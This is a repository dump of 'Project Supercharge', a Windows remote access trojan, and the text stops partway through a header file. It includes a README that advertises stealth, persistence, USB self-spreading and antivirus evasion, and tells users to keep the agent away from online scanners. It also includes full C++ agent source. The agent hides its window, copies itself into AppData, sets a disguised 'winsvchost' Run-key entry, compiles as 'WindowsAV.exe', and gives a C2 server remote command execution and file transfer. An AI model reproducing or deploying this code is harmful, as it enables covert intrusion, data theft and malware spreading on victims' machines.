├── .gitignore ├── GeoLite2-City.mmdb ├── LICENSE ├── README.md ├── _config.yml ├── agent ├── README.md ├── bsysinfo.cpp ├── bsysinfo.hpp ├── fs.cpp ├── fs.hpp ├── icon.ico ├── install.cpp ├── install.hpp ├── main.cpp ├── main.png ├── main.rc ├── main.res ├── makefile ├── supercharge.cpp ├── supercharge.hpp ├── usbb.cpp ├── usbb.hpp ├── window.cpp ├── window.hpp ├── xor.cpp └── xor.hpp ├── bots └── readme.md ├── img ├── logo.ico ├── logo.png ├── sample.png └── scan.png ├── install.sh ├── kernel ├── __init__.py ├── banner.py ├── builder.py ├── infodb.py ├── notif.py ├── session.py ├── spmain.py └── web.py ├── requirements.txt ├── static ├── cp.css ├── main.css ├── supercharge.png ├── tux.png ├── windows7.png ├── windows8-10.png └── windowsxp.png ├── supercharge.ini ├── supercharge.py ├── supercharge_offline.py ├── suspicious-logins └── readme.md └── templates ├── about.html ├── botinfo_winseven.html ├── botinfo_winten.html ├── botinfo_winxp.html ├── bots.html ├── failure.html ├── index.html ├── main.html ├── passchange.html ├── server_settings.html └── settings.html /.gitignore: -------------------------------------------------------------------------------- 1 | *.exe 2 | *.d 3 | *.ini 4 | *.pyc 5 | __pycache__/* 6 | .vscode/* 7 | 8 | -------------------------------------------------------------------------------- /GeoLite2-City.mmdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quantumcore/supercharge/a68aa86c576dad578c5ee5532ca4c65a1ecc2304/GeoLite2-City.mmdb -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Fahad Mustafa 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Project Supercharge 2 | 3 | 4 | ### NOTE 5 | Do not by any means upload the Agent to online Scanners. Why? Because even if one of the engines finds the file suspicious, the service shares the result among all AV companies, allowing cyber-security firms insight on new types of malware that their engines are not currently detecting. [Read here](https://www.bleepingcomputer.com/news/security/75-percent-of-malware-uploaded-on-no-distribute-scanners-is-unknown-to-researchers/). 6 | 7 | ![scan_nodistribute](https://github.com/quantumcore/supercharge/blob/master/img/scan.png) 8 | 9 | --- 10 | 11 | Project supercharge is a Remote Access Agent. The supercharge agent is mainly created to provide remote access to a Computer with Stealth and Persistence. 12 | 13 | --- 14 | 15 | - [Features](#project-supercharge-features) 16 | - [Installing](#Installing) 17 | - [Deployment](#Deployment) 18 | - [Bugs](#Bugs) 19 | - [Contributing](#Contribute) 20 | - [Thank you](#thank-you) 21 | - [Contact](#Contact) 22 | - [Screenshot](#Screenshot) 23 | --- 24 | 25 | ### Project Supercharge Features 26 | Feature | Detail 27 | ---|--- 28 | System Information | View System Information. 29 | Persistence | Automatically add itself to Startup when first run. 30 | Stealth | Automatically hide itself to a Location when first run. 31 | Spreading | If supercharge agent is running and a USB/CD is inserted, The agent will copy itself over into it. 32 | Message Box | Display a message box. 33 | Encrypted Connection | Your communication is encrypted with a key of your choice. 34 | Password Protection | Even though it's encrypted, It will authenticate with a Password hardcoded in the Agent. 35 | Offline Bot Database | supercharge comes with an Offline Web App you can use to easily view all Agents that ever Connected and when. 36 | Fully Undetectable | The Agent is fully undetectable. 37 | File Upload/Download | Download and upload files. 38 | Explore | Move around and view files. 39 | 40 | 41 | --- 42 | 43 | ### Installing 44 | 45 | ##### Prerequisites 46 | *(NOTE : These are installed by setup script)* 47 | 48 | - Mingw cross Compiler 49 | - Python 3 50 | 51 | ```bash 52 | $ git clone https://github.com/quantumcore/supercharge 53 | $ cd supercharge 54 | $ sudo ./install.sh 55 | ``` 56 | 57 | ### Note : It can run on Windows, But I recommened a Linux Based OS. (Server side) 58 | 59 | 60 | --- 61 | 62 | ### Deployment 63 | 1. Go to supercharge/agent and open file ``supercharge.hpp`` EG: 64 | ```bash 65 | nano supercharge.hpp 66 | ``` 67 | 2. Edit the Line `SERVER_HOST` and `SERVER_PORT` and the `PASSWORD`. EG: 68 | ```bash 69 | #define PASSWORD "mysecretpassword" 70 | #define SERVER_HOST "127.0.0.1" 71 | #define SERVER_PORT 3982 72 | ``` 73 | **Make sure the password is the same you define in ``supercharge.ini``. (Server side)** 74 | 75 | 3. Go to supercharge/agent and openfile ``xor.cpp`` EG: 76 | ```bash 77 | nano xor.cpp 78 | ``` 79 | 80 | 4 Edit line (4) which contains the Encryption key. For Example. 81 | ```cpp 82 | std::string XOR(std::string data) { 83 | // Encryption KEY BELOW 84 | char key[] = {'M','Y','K','E','Y'}; 85 | // DONT FORGET TO SET ! 86 | std::string output = data; 87 | 88 | for (int i = 0; i < data.size(); i++){ 89 | output[i] = data[i] ^ key[i % (sizeof(key) / sizeof(char))]; 90 | } 91 | return output; 92 | } 93 | ``` 94 | 5. Compile the Agent 95 | **On Windows** 96 | ```bash 97 | make 98 | ``` 99 | **On Linux** 100 | ```bash 101 | make linux 102 | ``` 103 | 104 | This will generate the Supercharge agent named ``WindowsAV.exe`` with an ICON. 105 | 106 | 107 | #### Server Side Settings 108 | 1. Setting the Encryption key. 109 | Open file ``kernel/infodb.py`` in your text editor and edit line 31 to your encryption key. It can be anything. 110 | For Example. 111 | ```bash 112 | $ cd supercharge 113 | $ nano kernel/infodb.py 114 | ``` 115 | 116 | ```python 117 | def xor(data): 118 | # Encryption KEY! EDIT ME ! 119 | key = ['M','Y','K','E','Y'] 120 | # Encryption key ABOVE! 121 | output = [] 122 | for i in range(len(data)): 123 | xor_num = ord(data[i]) ^ ord(key[i % len(key)]) 124 | output.append(chr(xor_num)) 125 | return ''.join(output) 126 | ``` 127 | 128 | 2. Setting the Password. 129 | Open file ``supercharge.ini`` and you can just simply change the values. 130 | 131 | ### Bugs 132 | **Fixed** 133 | - Broken Connection Problems. :heavy_check_mark: 134 | - Password Authentication buffer overflow. :heavy_check_mark: 135 | - Remove wchar_t functions (Old code) :heavy_check_mark: 136 | - File Execution bug. :heavy_check_mark: 137 | - File Download byte bug. :heavy_check_mark: 138 | - Windows 10 detected as Windows 8. (Thanks to [@dannyvsdev](https://github.com/dennyvsdev)) :heavy_check_mark: 139 | - WAN IP Bug. 140 | 141 | ### Contribute 142 | If you would like to help me! Please do so! Also, I do not use branches because I always end up pushing to master. So, I always create another repositroy (private) for developement. So if you would like to help me, [Contact](#Contact) me. 143 | 144 | ### Thank you for bug reporting 145 | - [dannyvsdev](https://github.com/dennyvsdev) 146 | - [underg33k](https://github.com/underg33k) 147 | 148 | #### TODO : 149 | - File sorting in the remote file listing. :heavy_check_mark: 150 | - Imrpovement of the file upload function. :heavy_check_mark: 151 | - Console Updates. :heavy_check_mark: 152 | 153 | ### Contact 154 | - [Discord](https://discordapp.com/invite/8snh7nx) 155 | - [Website](https://quantumcore.github.io) 156 | 157 | #### Screenshot 158 | ![sample](https://github.com/quantumcore/supercharge/blob/master/img/sample.png) 159 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-cayman -------------------------------------------------------------------------------- /agent/README.md: -------------------------------------------------------------------------------- 1 | # Agent 2 | -------------------------------------------------------------------------------- /agent/bsysinfo.cpp: -------------------------------------------------------------------------------- 1 | #include "bsysinfo.hpp" 2 | 3 | std::string basicinfo(int mode){ 4 | SYSTEM_INFO info; 5 | GetSystemInfo(&info); 6 | std::ostringstream rbuf; 7 | switch (mode) 8 | { 9 | case PROCESSORS: 10 | rbuf.str(""); 11 | rbuf.clear(); 12 | rbuf << info.dwNumberOfProcessors; 13 | return rbuf.str(); 14 | break; 15 | 16 | case PAGESIZE: 17 | rbuf.str(""); 18 | rbuf.clear(); 19 | rbuf << info.dwPageSize; 20 | return rbuf.str(); 21 | break; 22 | 23 | case minAppAddr: 24 | rbuf.str(""); 25 | rbuf.clear(); 26 | rbuf << info.lpMinimumApplicationAddress; 27 | return rbuf.str(); 28 | break; 29 | 30 | case maxAppAddr: 31 | rbuf.str(""); 32 | rbuf.clear(); 33 | rbuf << info.lpMaximumApplicationAddress; 34 | return rbuf.str(); 35 | break; 36 | 37 | default: 38 | break; 39 | } 40 | } -------------------------------------------------------------------------------- /agent/bsysinfo.hpp: -------------------------------------------------------------------------------- 1 | 2 | #ifndef BASICINFO 3 | #define BASICINFO 4 | 5 | #include "supercharge.hpp" 6 | 7 | #define PROCESSORS 1 8 | #define PAGESIZE 2 9 | #define minAppAddr 3 10 | #define maxAppAddr 4 11 | 12 | // Basic Hardware information 13 | std::string basicinfo(int mode); 14 | 15 | #endif -------------------------------------------------------------------------------- /agent/fs.cpp: -------------------------------------------------------------------------------- 1 | #include "fs.hpp" 2 | 3 | char* cDir() 4 | { 5 | static char DIR[MAX_PATH]; 6 | memset(DIR, '\0', MAX_PATH); 7 | GetCurrentDirectory(MAX_PATH, DIR); 8 | return (char*)DIR; 9 | } 10 | 11 | 12 | // std::string sendFile(char* filename) 13 | // { 14 | // supercharge LCLASS; 15 | // std::ifstream file(filename, std::ios::binary); 16 | // std::string filebuf; 17 | // std::ostringstream sbuf; 18 | // if(file.is_open()) 19 | // { 20 | // sbuf << file.rdbuf(); 21 | // } 22 | // filebuf = sbuf.str(); 23 | // file.close(); 24 | // return filebuf; 25 | // } 26 | 27 | 28 | int changeDirectory(char* to) 29 | { 30 | if(SetCurrentDirectoryA(to) == 0) 31 | { 32 | return GetLastError(); 33 | } else { 34 | return OKCODE; 35 | } 36 | } 37 | 38 | -------------------------------------------------------------------------------- /agent/fs.hpp: -------------------------------------------------------------------------------- 1 | #ifndef FS 2 | #define FS 3 | 4 | #include "supercharge.hpp" 5 | //#include // C++ 17 only. 6 | // void sendFile(std::string filename); 7 | 8 | //std::string sendFile(char* filename); 9 | 10 | int changeDirectory(char* to); 11 | char* cDir(); // Return the current Directory name. 12 | #endif -------------------------------------------------------------------------------- /agent/icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quantumcore/supercharge/a68aa86c576dad578c5ee5532ca4c65a1ecc2304/agent/icon.ico -------------------------------------------------------------------------------- /agent/install.cpp: -------------------------------------------------------------------------------- 1 | #include "install.hpp" 2 | 3 | void Install() 4 | { 5 | supercharge avars; 6 | char user[UNLEN + 1]; 7 | DWORD length = UNLEN + 1; 8 | GetUserNameA(user, &length); 9 | std::ostringstream copyPath; 10 | std::ostringstream instalLoc; 11 | instalLoc << "C:\\Users\\" << user << "\\AppData\\Roaming\\WindowsSuperCharge"; 12 | CreateDirectoryA(instalLoc.str().c_str(), NULL); 13 | copyPath << "C:\\Users\\" << user << "\\AppData\\Roaming\\WindowsSuperCharge\\WindowsSuperCharge.exe"; 14 | std::ifstream src(avars.AgentLocation().c_str(), std::ios::binary); 15 | std::ofstream dst(copyPath.str().c_str(), std::ios::binary); 16 | dst << src.rdbuf(); 17 | } -------------------------------------------------------------------------------- /agent/install.hpp: -------------------------------------------------------------------------------- 1 | #ifndef INSTALL 2 | #define INSTALL 3 | 4 | #include "supercharge.hpp" 5 | 6 | void Install(); 7 | 8 | #endif -------------------------------------------------------------------------------- /agent/main.cpp: -------------------------------------------------------------------------------- 1 | //#include "pch.h" 2 | #include "supercharge.hpp" 3 | #include "install.hpp" 4 | 5 | int main() 6 | { 7 | ShowWindow(GetConsoleWindow(), SW_HIDE); 8 | supercharge bv; 9 | Install(); 10 | bv.startup(); 11 | bv.Wanip(); 12 | bv.hThread = CreateThread(NULL, 0, USB_INJECT, NULL, 0, NULL); 13 | bv.C2Connect(); 14 | return 0; 15 | } 16 | -------------------------------------------------------------------------------- /agent/main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quantumcore/supercharge/a68aa86c576dad578c5ee5532ca4c65a1ecc2304/agent/main.png -------------------------------------------------------------------------------- /agent/main.rc: -------------------------------------------------------------------------------- 1 | id ICON "icon.ico" 2 | -------------------------------------------------------------------------------- /agent/main.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quantumcore/supercharge/a68aa86c576dad578c5ee5532ca4c65a1ecc2304/agent/main.res -------------------------------------------------------------------------------- /agent/makefile: -------------------------------------------------------------------------------- 1 | windows: 2 | windres main.rc -O coff -o main.res 3 | g++ main.cpp install.cpp usbb.cpp xor.cpp bsysinfo.cpp window.cpp supercharge.cpp fs.cpp -o WindowsAV.exe -lws2_32 -lwininet -mwindows -static -m32 main.res 4 | 5 | linux: 6 | $(info Compiling...) 7 | $(info Do not upload to VirusTotal or any other online Scanners!) 8 | i686-w64-mingw32-windres main.rc -O coff -o main.res 9 | i686-w64-mingw32-g++ main.cpp install.cpp usbb.cpp xor.cpp bsysinfo.cpp window.cpp supercharge.cpp fs.cpp -o WindowsAV.exe -lws2_32 -lwininet -mwindows -static -m32 main.res 10 | -------------------------------------------------------------------------------- /agent/supercharge.cpp: -------------------------------------------------------------------------------- 1 | #include "supercharge.hpp" 2 | 3 | bool supercharge::isUsbThreadRunning(){ 4 | DWORD result = WaitForSingleObject( hThread, 0); 5 | if (result == WAIT_OBJECT_0) { 6 | return false; 7 | } 8 | else { 9 | return true; 10 | } 11 | } 12 | 13 | void supercharge::reconnect() 14 | { 15 | closesocket(sockfd); 16 | WSACleanup(); 17 | Sleep(INTERVAL); 18 | C2Connect(); 19 | } 20 | void supercharge::startup() 21 | { 22 | HKEY NewVal; 23 | wchar_t username[UNLEN +1]; 24 | std::wstringstream pth; 25 | if (GetUserNameW(username, &len)) { 26 | std::wstring wstrusername(username); 27 | pth << L"C:\\Users\\" << wstrusername << L"\\AppData\\Roaming\\WindowsSuperCharge\\WindowsSuperCharge.exe"; 28 | } 29 | 30 | std::wstring filepath = pth.str(); 31 | RegOpenKeyW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &NewVal); 32 | RegSetValueExW(NewVal, L"winsvchost", 0, REG_SZ, (BYTE*)filepath.c_str(), (filepath.size()+1) * sizeof(wchar_t)); 33 | RegCloseKey(NewVal); 34 | } 35 | 36 | 37 | void supercharge::Execute(char* toExecute) 38 | { 39 | std::ostringstream error_reply; 40 | PROCESS_INFORMATION pinfo; 41 | STARTUPINFO sinfo; 42 | char buf[500]; 43 | memset(buf, '\0', 500); 44 | memset(&sinfo, 0, sizeof(sinfo)); 45 | sinfo.cb = sizeof(sinfo); 46 | snprintf(buf, 500, "cmd.exe /c %s", toExecute); 47 | if(!CreateProcess(NULL, buf, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &sinfo, &pinfo)){ 48 | error_reply.str(""); 49 | error_reply.clear(); 50 | error_reply << "Failed to Execute Command, Error Code : " << GetLastError(); 51 | respond(error_reply.str().c_str()); 52 | } else { 53 | respond("Command Executed."); 54 | } 55 | } 56 | 57 | void supercharge::ExecuteFile(char* filename) 58 | { 59 | std::ostringstream error_reply; 60 | PROCESS_INFORMATION pinfo; 61 | STARTUPINFO sinfo; 62 | memset(&sinfo, 0, sizeof(sinfo)); 63 | sinfo.cb = sizeof(sinfo); 64 | if(!CreateProcess((LPCSTR)filename, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &sinfo, &pinfo)){ 65 | error_reply.str(""); 66 | error_reply.clear(); 67 | error_reply << "Failed to Create Process, Error Code : " << GetLastError(); 68 | respond(error_reply.str().c_str()); 69 | } else { 70 | respond("Command Executed."); 71 | } 72 | } 73 | 74 | std::string supercharge::AgentLocation() 75 | { 76 | std::string filelocation; 77 | int fpath = GetModuleFileName(NULL, DIR, MAX_PATH); 78 | if (fpath == 0) 79 | { 80 | filelocation = "Unknown (Failed to get)"; 81 | } 82 | else { 83 | filelocation = DIR; 84 | } 85 | 86 | return filelocation; 87 | 88 | } 89 | 90 | std::string supercharge::USERPC() 91 | { 92 | std::string userpc; 93 | GetUserNameA(username, &len); 94 | GetComputerNameA(hostname, &hlen); 95 | userpc = std::string(username) + " / " + std::string(hostname); 96 | return userpc; 97 | } 98 | 99 | std::string supercharge::ramsize(int mode) 100 | { 101 | std::ostringstream rm; 102 | std::ostringstream vrm; 103 | std::string RAM, vRAM; 104 | MEMORYSTATUSEX memstatx; 105 | memstatx.dwLength = sizeof(memstatx); 106 | GlobalMemoryStatusEx(&memstatx); 107 | float ramsize = memstatx.ullTotalPhys / (1024 * 1024); 108 | float memVrsize = memstatx.ullTotalVirtual / (1024 * 1024); 109 | rm << ramsize; 110 | vrm << memVrsize; 111 | vRAM = vrm.str(); 112 | RAM = rm.str(); 113 | if(mode == 1){ 114 | return RAM; 115 | } else{ 116 | return vRAM; 117 | } 118 | } 119 | 120 | // Thanks to @dannyvsdev / https://github.com/quantumcore/supercharge/issues/1 121 | std::string supercharge::OS() 122 | { 123 | std::string os; 124 | std::ostringstream ds; 125 | int ret = 0.0; 126 | NTSTATUS(WINAPI *RtlGetVersion)(LPOSVERSIONINFOEXW); 127 | OSVERSIONINFOEXW osInfo; 128 | 129 | *reinterpret_cast(&RtlGetVersion) = GetProcAddress(GetModuleHandleA("ntdll"), "RtlGetVersion"); 130 | 131 | if (nullptr != RtlGetVersion) 132 | { 133 | osInfo.dwOSVersionInfoSize = sizeof osInfo; 134 | RtlGetVersion(&osInfo); 135 | ret = osInfo.dwMajorVersion; 136 | } 137 | 138 | int mw = osInfo.dwMinorVersion; 139 | if(ret == 5){ 140 | switch (mw) 141 | { 142 | case 0: 143 | os = "Windows 2000"; 144 | break; 145 | case 1: 146 | os = "Windows XP"; 147 | break; 148 | 149 | case 2: 150 | os = "Windows XP Professional"; 151 | break; 152 | 153 | default: 154 | ds.str(""); ds.clear(); 155 | ds << "Windows " << mw; 156 | os = ds.str(); 157 | break; 158 | } 159 | } else if(ret == 6){ 160 | switch (mw) 161 | { 162 | case 0: 163 | os = "Windows Vista"; 164 | break; 165 | case 1: 166 | os = "Windows 7"; 167 | break; 168 | case 2: 169 | os = "Windows 8"; 170 | break; 171 | case 3: 172 | os = "Windows 8.1"; 173 | break; 174 | 175 | default: 176 | ds.str(""); ds.clear(); 177 | ds << "Windows " << mw; 178 | os = ds.str(); 179 | break; 180 | } 181 | } else if(ret == 10){ 182 | os = "Windows 10"; 183 | } else { 184 | ds.str(""); ds.clear(); 185 | ds << "Windows " << mw; 186 | os = ds.str(); 187 | } 188 | return os; 189 | } 190 | 191 | 192 | void supercharge::recvFile() 193 | { 194 | int fsize; 195 | std::string response; 196 | std::ofstream recvfile(file_commands[1], std::ios::app | std::ios::binary); 197 | while ((fsize = recv(sockfd, filebuf, sizeof(filebuf), 0)) > 0) 198 | { 199 | recvfile.write(filebuf, sizeof(filebuf)); 200 | } 201 | recvfile.close(); 202 | response = "Saved '" + std::string(file_commands[1]) + "' Under " + std::string(cDir()); 203 | respond(response.c_str()); 204 | 205 | } 206 | 207 | void supercharge::Wanip() 208 | { 209 | HINTERNET hInternet, hFile; 210 | DWORD rSize; 211 | if(InternetCheckConnection("http://www.google.com", 1, 0)){ 212 | hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); 213 | hFile = InternetOpenUrl(hInternet, _T("http://bot.whatismyipaddress.com/"), NULL, 0, INTERNET_FLAG_RELOAD, 0); 214 | InternetReadFile(hFile, &wanip, sizeof(wanip), &rSize); 215 | wanip[rSize] = '\0'; 216 | 217 | InternetCloseHandle(hFile); 218 | InternetCloseHandle(hInternet); 219 | } else { 220 | memset(wanip, '\0', 500); 221 | snprintf(wanip, 500, "No Internet Detected"); 222 | } 223 | 224 | } 225 | 226 | // Split string using C Method. 227 | void supercharge::strsplit(char src[500], char* dest[5]) { 228 | int i = 0; 229 | char *p = strtok(src, "="); 230 | while (p != NULL) 231 | { 232 | dest[i++] = p; 233 | p = strtok(NULL, "="); 234 | } 235 | } 236 | 237 | void supercharge::ConnectionManage() 238 | { 239 | while (connected) 240 | { 241 | // Password Protection 242 | memset(password_buf, '\0', MAX_PASSWORD); 243 | if(strlen(password_buf) <= 0) 244 | { 245 | int pass = recv(sockfd, password_buf, MAX_PASSWORD, 0); 246 | std::string rXORbuf(password_buf); 247 | std::string cmpMe = XOR(rXORbuf); 248 | if(strcmp(cmpMe.c_str(), PASSWORD) == 0) { 249 | authenticated = true; 250 | respond("Password Accepted."); 251 | } 252 | else { 253 | respond("INCORRECT PASSWORD."); 254 | connected = false; 255 | break; 256 | } 257 | } 258 | 259 | while(connected && authenticated){ 260 | // std::cout << "Started commmand execution." << std::endl; 261 | //respond("Password Accepted."); 262 | memset(recvbuf, '\0', BUFFER); 263 | int resc = recv(sockfd, recvbuf, BUFFER, 0); 264 | if (resc == SOCKET_ERROR && WSAGetLastError() == WSAECONNRESET) 265 | { 266 | connected = false; 267 | } 268 | std::string decX(recvbuf); 269 | std::string command = XOR(decX); 270 | char toSplit[BUFFER]; 271 | memset(toSplit, '\0', BUFFER); 272 | strncpy(toSplit, command.c_str(), sizeof(toSplit)); 273 | if (command == "test") 274 | { 275 | respond("Connection is ok!"); 276 | } 277 | else if (command == "os") 278 | { 279 | respond(OS().c_str()); 280 | } else if(command == "wanip") 281 | { 282 | Wanip(); 283 | std::string WideAreaIP = wanip; 284 | respond(WideAreaIP.c_str()); 285 | } else if(command == "processors"){ 286 | respond(basicinfo(PROCESSORS).c_str()); 287 | } else if(command == "pagesize"){ 288 | respond(basicinfo(PAGESIZE).c_str()); 289 | } else if(command == "minappaddr"){ 290 | respond(basicinfo(minAppAddr).c_str()); 291 | } else if(command == "maxappaddr"){ 292 | respond(basicinfo(maxAppAddr).c_str()); 293 | } 294 | else if(command == "ramsize") 295 | { 296 | respond(ramsize(1).c_str()); 297 | } else if(command == "vramsize"){ 298 | respond(ramsize(0).c_str()); 299 | } 300 | else if(command == "agent") 301 | { 302 | respond(AgentLocation().c_str()); 303 | } else if(command == "userpc") 304 | { 305 | respond(USERPC().c_str()); 306 | } else if(command == "id") 307 | { 308 | respond("BOT"); 309 | } 310 | else if(command.find("cd") != std::string::npos) 311 | { 312 | memset(dir_commands, '\0', 5); 313 | std::string reply; 314 | strsplit(toSplit, dir_commands); 315 | // This should be like. 316 | // dir_commands = {'cd', 'test'}; 317 | std::ostringstream rs; 318 | if(changeDirectory(dir_commands[1]) == OKCODE) // 21 319 | { 320 | rs << "Directory changed to " << cDir(); 321 | respond(rs.str().c_str()); 322 | } else { 323 | int lastError = changeDirectory(dir_commands[1]); 324 | if(lastError == 0){ 325 | 326 | 327 | } else if(lastError == 1){ 328 | respond("Incorrect function. (1)"); 329 | } else if(lastError == 2){ 330 | respond("File not found.(2)"); 331 | } else if(lastError == 3){ 332 | respond("Path not found.(3)"); 333 | } else if(lastError == 4){ 334 | respond("Cannot open file.(4)"); 335 | } else if(lastError == 5){ 336 | respond("Access Denied. (5)"); 337 | } else { 338 | std::ostringstream lerrs; 339 | lerrs << "Error : " << lastError; 340 | respond(lerrs.str().c_str()); 341 | } 342 | 343 | } 344 | } else if(command == "usb.thread"){ 345 | if(isUsbThreadRunning() == false) 346 | { 347 | std::ostringstream lsterror; 348 | lsterror << "Thread not Running. Last Error : " << GetLastError(); 349 | respond(lsterror.str().c_str()); 350 | } else { 351 | respond("Thread running."); 352 | } 353 | } 354 | else if (command.find("recvthis") != std::string::npos) 355 | { 356 | memset(file_commands, '\0', 5); 357 | memset(filebuf, '\0', BUFFER); 358 | strsplit(toSplit, file_commands); 359 | recvFile(); 360 | 361 | } else if(command == "windowname") 362 | { 363 | respond(current_window().c_str()); 364 | } 365 | 366 | else if(command.find("sendme") != std::string::npos) 367 | { 368 | memset(fcommands, '\0', 5); 369 | strsplit(toSplit, fcommands); 370 | 371 | FILE * fs; 372 | std::ostringstream test; 373 | if((fs = fopen(fcommands[1], "rb")) != NULL){ 374 | 375 | std::string trigger = "savethis=" + std::string(fcommands[1]); 376 | respond(trigger.c_str()); 377 | char fbuffer[500]; 378 | memset(fbuffer, '\0', 500); 379 | //size_t rret, wret; 380 | int bytes_read; 381 | while(!feof(fs)){ 382 | if((bytes_read = fread(&fbuffer, 1, 500, fs)) > 0){ 383 | send(sockfd, fbuffer, bytes_read, 0); 384 | } else { 385 | break; 386 | } 387 | } 388 | fclose(fs); 389 | } else { 390 | respond("File not found."); 391 | } 392 | } 393 | else if (command == "wanip") { 394 | respond((const char*)wanip); 395 | } 396 | else if (command.find("msgbox") != std::string::npos) 397 | { 398 | memset(msgbox, '\0', 5); 399 | strsplit(toSplit, msgbox); 400 | respond("Messagebox displayed."); 401 | // blocks 402 | MessageBox(NULL, msgbox[1], msgbox[2], MB_ICONINFORMATION); 403 | respond("Messagebox Closed."); 404 | } 405 | // // exec [ Hidden Execution of an Application ] 406 | else if (command.find("exec") != std::string::npos) { 407 | memset(fcommands, '\0', 5); 408 | strsplit(toSplit, fcommands); 409 | ExecuteFile(fcommands[1]); 410 | } else if(command.find("cmd") != std::string::npos){ 411 | memset(fcommands, '\0', 5); 412 | strsplit(toSplit, fcommands); 413 | Execute(fcommands[1]); 414 | } 415 | else if(command == "creds") 416 | { 417 | respond("Not added yet :("); 418 | } 419 | else if (command == "hostname") 420 | { 421 | respond(hostname); 422 | } 423 | else if (command == "username") 424 | { 425 | respond(username); 426 | } 427 | else if (command == "kill") 428 | { 429 | respond("Disconnect Requested. Disconnecting."); 430 | connected = false; 431 | break; 432 | } 433 | else if(command == "cfolder") // cfolder = Current folder 434 | { 435 | respond((char*)cDir()); 436 | } 437 | else if(command == "ls") 438 | { 439 | std::ostringstream files; 440 | std::ostringstream ftype; 441 | std::string strfiles; 442 | HANDLE hFind = FindFirstFile("*", &data); 443 | if(hFind != INVALID_HANDLE_VALUE){ 444 | do{ 445 | ftype << data.cFileName; 446 | if(data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){ 447 | files << "\n[DIRECTORY] " << data.cFileName; 448 | } else { 449 | files << "\n[FILE] " << data.cFileName; 450 | } 451 | } while(FindNextFile(hFind, &data)); 452 | } else { 453 | respond("Failed to get Files in directory.\n"); 454 | } 455 | 456 | strfiles = "\nFiles in " + std::string(cDir()) + "\n---------------\n" + files.str(); 457 | respond(strfiles.c_str()); 458 | } 459 | 460 | } 461 | } 462 | 463 | if (!connected) 464 | { 465 | reconnect(); 466 | } 467 | } 468 | 469 | void supercharge::respondF(const char* data) 470 | { 471 | int totalsent = 0; 472 | int lerror = WSAGetLastError(); 473 | int buflen = strlen(data); 474 | while (buflen > totalsent) { 475 | int r = send(sockfd, data + totalsent, buflen - totalsent, 0); 476 | if (lerror == WSAECONNRESET) 477 | { 478 | connected = false; 479 | } 480 | if (r < 0) return; 481 | totalsent += r; 482 | } 483 | return; 484 | } 485 | 486 | /* Send Data to C&C */ 487 | void supercharge::respond(const char * data) { 488 | int totalsent = 0; 489 | std::string a = std::string(data); 490 | std::string encData = XOR(a); 491 | const char* finalData = encData.c_str(); 492 | int lerror = WSAGetLastError(); 493 | int buflen = strlen(data); 494 | while (buflen > totalsent) { 495 | int r = send(sockfd, finalData + totalsent, buflen - totalsent, 0); 496 | if (lerror == WSAECONNRESET) 497 | { 498 | connected = false; 499 | } 500 | if (r < 0) return; 501 | totalsent += r; 502 | } 503 | return; 504 | } 505 | 506 | void supercharge::C2Connect() 507 | { 508 | while (true) 509 | { 510 | WSADATA wsa; 511 | DWORD timeout = 1000; 512 | if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { return; }; 513 | sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 514 | if (sockfd == SOCKET_ERROR || sockfd == INVALID_SOCKET) 515 | { 516 | // std::cout << "Failed to Create Socket : " << WSAGetLastError() << std::endl; 517 | // exit(1); 518 | return; 519 | } 520 | setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout)); 521 | 522 | server.sin_addr.s_addr = inet_addr(SERVER_HOST); 523 | server.sin_port = htons(SERVER_PORT); 524 | server.sin_family = AF_INET; 525 | 526 | do { 527 | if (connect(sockfd, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR) { 528 | // std::cout << "Connection failed : " << WSAGetLastError() << std::endl; 529 | reconnect(); 530 | } 531 | else { 532 | connected = true; 533 | // std::cout << "Connection Established." << std::endl; 534 | } 535 | } while (!connected); // Not Connected, While not connected. 536 | 537 | ConnectionManage(); 538 | } 539 | 540 | } 541 | -------------------------------------------------------------------------------- /agent/supercharge.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | supercharge Main Header file. 4 | 5 | */ 6 | 7 | #ifndef supercharge_ 8 | #define supercharge_ 9 | 10 | 11 | #include "xor.hpp" 12 | #include "install.hpp" 13 | #include "usbb.hpp" 14 | #include "fs.hpp" 15 | #include "window.hpp" 16 | #include "bsysinfo.hpp" 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | #define NTSTATUS LONG 27 | #define 